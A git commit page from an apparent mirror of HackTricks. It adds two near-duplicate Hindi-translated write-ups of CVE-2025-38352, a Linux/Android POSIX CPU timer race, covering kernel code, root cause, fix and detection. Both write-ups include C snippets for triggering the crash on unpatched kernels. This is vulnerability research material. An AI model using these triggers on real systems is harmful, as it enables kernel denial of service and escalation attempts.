mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo
This commit is contained in:
parent
11e7c59f75
commit
d5724ff8af
@ -937,3 +937,5 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
@ -0,0 +1,197 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ Linux/Android POSIX CPU timers में एक TOCTOU race condition का दस्तावेज़ीकरण करता है जो timer state को भ्रष्ट कर सकता है और kernel को crash कर सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
|
||||
|
||||
- Affected component: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: expiry vs deletion race under task exit
|
||||
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
संक्षिप्त इंटर्नल रीकैप (exploitation के लिए प्रासंगिक)
|
||||
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: केवल utime
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Timer creation एक timer को task/pid से जोड़ता है और timerqueue nodes को इनिशियलाइज़ करता है:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming per-base timerqueue में insert करता है और संभवतः next-expiry cache को अपडेट कर सकता है:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- तेज़ पथ महंगी प्रोसेसिंग से बचता है जब तक कैश किए गए समाप्ति रिकॉर्ड संभावित सक्रियण का संकेत न दें:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- Expiration समाप्त हुए टाइमरों को इकट्ठा करता है, उन्हें firing के रूप में चिह्नित करता है, उन्हें queue से हटा देता है; वास्तविक delivery स्थगित कर दी जाती है:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
दो समाप्ति-प्रोसेसिंग मोड
|
||||
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित task पर task_work के माध्यम से स्थगित की जाती है
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: समाप्ति सीधे IRQ context में संभाली जाती है
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
IRQ-context path में, firing list को sighand के बाहर प्रोसेस किया जाता है।
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
मूल कारण: IRQ-समय की समाप्ति और task exit के दौरान समवर्ती deletion के बीच TOCTOU
|
||||
|
||||
पूर्वशर्तें
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK अक्षम है (IRQ path in use)
|
||||
- लक्षित task exit कर रहा है लेकिन पूरी तरह reaped नहीं हुआ
|
||||
- एक अन्य थ्रेड एक ही timer के लिए समवर्ती रूप से posix_cpu_timer_del() कॉल कर रहा है
|
||||
|
||||
क्रम
|
||||
1) update_process_times() exiting task के लिए IRQ context में run_posix_cpu_timers() को ट्रिगर करता है।
|
||||
2) collect_timerqueue() ctmr->firing = 1 सेट करता है और timer को अस्थायी firing सूची में स्थानांतरित करता है।
|
||||
3) handle_posix_cpu_timers() timers को lock के बाहर deliver करने के लिए unlock_task_sighand() के माध्यम से sighand को drop करता है।
|
||||
4) unlock के तुरंत बाद exiting task reaped हो सकता है; एक sibling thread posix_cpu_timer_del() चलाता है।
|
||||
5) इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state हासिल करने में विफल हो सकता है और इसलिए सामान्य in-flight guard जो timer->it.cpu.firing को जांचता है, छोड़ सकता है। Deletion ऐसे ही आगे बढ़ती है जैसे यह firing नहीं हो रही हो, expiry को संभालते समय state भ्रष्ट हो जाती है, जिससे crashes/UB होते हैं।
|
||||
|
||||
क्यों TASK_WORK mode डिज़ाइन के अनुसार सुरक्षित है
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y होने पर, expiry को task_work में स्थगित कर दिया जाता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-समय और reaping का overlap नहीं होता।
|
||||
- इसके बावजूद, यदि task पहले से ही exiting स्थिति में है, तो task_work_add() विफल हो जाता है; exit_state पर gating दोनों modes को सुसंगत बनाता है।
|
||||
|
||||
Fix (Android common kernel) और तर्क
|
||||
- current task exiting है तो early return जोड़ें, जिससे सभी processing gated हो जाएं:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- यह exit हो रहे टास्क्स के लिए handle_posix_cpu_timers() में प्रवेश को रोकता है, उस विंडो को समाप्त करता है जहाँ posix_cpu_timer_del() it.cpu.firing को मिस कर सकता है और expiry processing के साथ race कर सकता है।
|
||||
|
||||
प्रभाव
|
||||
- concurrent expiry/deletion के दौरान timer structures का kernel memory corruption तुरंत crashes (DoS) पैदा कर सकता है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation के लिए एक मजबूत primitive बन सकता है।
|
||||
|
||||
बग को ट्रिगर करना (सुरक्षित, पुनरुत्पादन योग्य स्थितियाँ)
|
||||
Build/config
|
||||
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और exit_state gating fix के बिना kernel का उपयोग करें।
|
||||
|
||||
रनटाइम रणनीति
|
||||
- ऐसे thread को लक्षित करें जो exit होने वाला हो और उस पर एक CPU timer attach करें (per-thread या process-wide clock):
|
||||
- per-thread के लिए: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- process-wide के लिए: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- बहुत छोटी initial expiration और छोटे interval के साथ arm करें ताकि IRQ-path entries को अधिकतम किया जा सके:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- एक sibling thread से, target thread के exit होते समय उसी timer को समकालिक रूप से delete करें:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: उच्च scheduler tick दर, CPU लोड, बार-बार thread exit/re-create cycles। क्रैश आमतौर पर तब प्रकट होता है जब posix_cpu_timer_del() firing को नोटिस करना छोड़ देता है क्योंकि unlock_task_sighand() के ठीक बाद task lookup/locking असफल हो जाता है।
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: exit_state guard लागू करें; जब संभव हो तो CONFIG_POSIX_CPU_TIMERS_TASK_WORK सक्षम करना प्राथमिकता दें।
|
||||
- Observability: unlock_task_sighand()/posix_cpu_timer_del() के आसपास tracepoints/WARN_ONCE जोड़ें; जब it.cpu.firing==1 देखा जाए और साथ ही cpu_timer_task_rcu()/lock_task_sighand() विफल हों तो अलर्ट करें; task exit के आसपास timerqueue असंगतियों पर नज़र रखें।
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,196 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पृष्ठ Linux/Android POSIX CPU timers में मौजूद एक TOCTOU रेस कंडीशन का दस्तावेज़ीकरण करता है जो timer स्थिति को भ्रष्ट कर सकता है और kernel क्रैश करवा सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
|
||||
|
||||
- प्रभावित घटक: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: task exit के दौरान expiry और deletion के बीच रेस
|
||||
- कॉन्फ़िग-संवेदी: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
त्वरित आंतरिक सारांश (शोषण के लिए प्रासंगिक)
|
||||
- टाइमर्स की अकाउंटिंग के लिए तीन CPU क्लॉक्स cpu_clock_sample() के माध्यम से काम करते हैं:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- टाइमर बनाते समय टाइमर को एक task/pid के साथ जोड़ा जाता है और timerqueue nodes इनिशियलाइज़ किए जाते हैं:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming per-base timerqueue में inserts करता है और संभवतः next-expiry cache को अपडेट कर सकता है:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- Fast path महंगी प्रोसेसिंग से बचता है जब तक cached expiries संभावित ट्रिगरिंग का संकेत न दें:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- समाप्ति समाप्त हो चुके टाइमरों को एकत्र करती है, उन्हें firing के रूप में चिह्नित करती है, उन्हें queue से हटा देती है; वास्तविक डिलीवरी स्थगित कर दी जाती है:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
दो समाप्ति-प्रोसेसिंग मोड
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित task पर task_work के माध्यम से स्थगित की जाती है
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: समाप्ति सीधे IRQ context में संभाली जाती है
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
IRQ-context path में, firing list को sighand के बाहर प्रोसेस किया जाता है।
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
मूल कारण: IRQ-time expiry और task exit के दौरान समवर्ती deletion के बीच TOCTOU
|
||||
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- लक्ष्य task exiting हो रहा है पर पूरी तरह reaped नहीं हुआ है
|
||||
- एक अन्य थ्रेड समान timer के लिए posix_cpu_timer_del() को समवर्ती रूप से कॉल करता है
|
||||
|
||||
Sequence
|
||||
1) update_process_times() exiting task के लिए IRQ context में run_posix_cpu_timers() को trigger करता है।
|
||||
2) collect_timerqueue() ctmr->firing = 1 सेट करता है और timer को temporary firing list में स्थानांतरित करता है।
|
||||
3) handle_posix_cpu_timers() lock के बाहर timers deliver करने के लिए unlock_task_sighand() के माध्यम से sighand छोड़ देता है।
|
||||
4) unlock के तुरंत बाद, exiting task reaped हो सकता है; एक sibling थ्रेड posix_cpu_timer_del() execute करता है।
|
||||
5) इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state हासिल करने में असफल हो सकता है और इसलिए सामान्य in-flight guard जिसे timer->it.cpu.firing जांचता है, उसे स्किप कर देता है। Deletion ऐसे आगे बढ़ता है जैसे यह firing नहीं है, expiry को हैंडल करते समय state भ्रष्ट हो जाता है, जिससे crashes/UB होते हैं।
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y होने पर, expiry task_work में deferred होता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-time और reaping का overlap नहीं होता।
|
||||
- फिर भी, यदि task पहले से ही exiting है, तो task_work_add() असफल होता है; exit_state पर gating दोनों मोड्स को संगत बनाता है।
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- यदि current task exiting है तो early return जोड़ें, जिससे सभी प्रोसेसिंग gated हो:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- यह निकास हो रही टास्क के लिए handle_posix_cpu_timers() में प्रवेश को रोकता है, जिससे वह विंडो समाप्त हो जाती है जहाँ posix_cpu_timer_del() इसे मिस कर सकता है.cpu.firing और expiry processing के साथ race कर सकता है।
|
||||
|
||||
Impact
|
||||
- समवर्ती expiry/deletion के दौरान timer संरचनाओं में Kernel मेमोरी करप्शन तुरंत क्रैश (DoS) दे सकता है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation की ओर एक मजबूत primitive है।
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और exit_state gating fix वाला kernel उपयोग न करें।
|
||||
|
||||
Runtime strategy
|
||||
- उस थ्रेड को टार्गेट करें जो exit होने वाली है और उस पर एक CPU timer संलग्न करें (per-thread या process-wide clock):
|
||||
- Per-thread के लिए: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Process-wide के लिए: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- अधिकतम IRQ-path entries के लिए बहुत ही कम initial expiration और छोटा interval सेट करें:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- एक सह-थ्रेड से, लक्षित थ्रेड के exit होते समय उसी टाइमर को समानांतर रूप से हटाएँ:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. क्रैश आमतौर पर तब होता है जब posix_cpu_timer_del() firing को नोटिस करना छोड़ देता है क्योंकि unlock_task_sighand() के ठीक बाद task lookup/locking विफल हो जाता है।
|
||||
|
||||
डिटेक्शन और हार्डनिंग
|
||||
- Mitigation: exit_state guard लागू करें; जब संभव हो तो CONFIG_POSIX_CPU_TIMERS_TASK_WORK सक्षम करने को प्राथमिकता दें।
|
||||
- Observability: unlock_task_sighand()/posix_cpu_timer_del() के आसपास tracepoints/WARN_ONCE जोड़ें; तब अलर्ट करें जब it.cpu.firing==1 को failed cpu_timer_task_rcu()/lock_task_sighand() के साथ देखा जाए; task exit के आसपास timerqueue असंगतियों पर नज़र रखें।
|
||||
|
||||
ऑडिट हॉटस्पॉट्स (समीक्षकों के लिए)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; यह जांच exit/reap के दौरान task lookup/lock विफल होने पर छोड़ दी जाती है
|
||||
|
||||
शोषण अनुसंधान के लिए नोट्स
|
||||
- प्रकटीकृत व्यवहार एक विश्वसनीय kernel crash primitive है; इसे privilege escalation में बदलने के लिए आम तौर पर एक अतिरिक्त नियंत्रित overlap (object lifetime या write-what-where प्रभाव) की आवश्यकता होती है जो इस सारांश के दायरे से बाहर है। किसी भी PoC को संभावित रूप से अस्थिर करने वाला मानें और केवल emulators/VMs में ही चलाएँ।
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user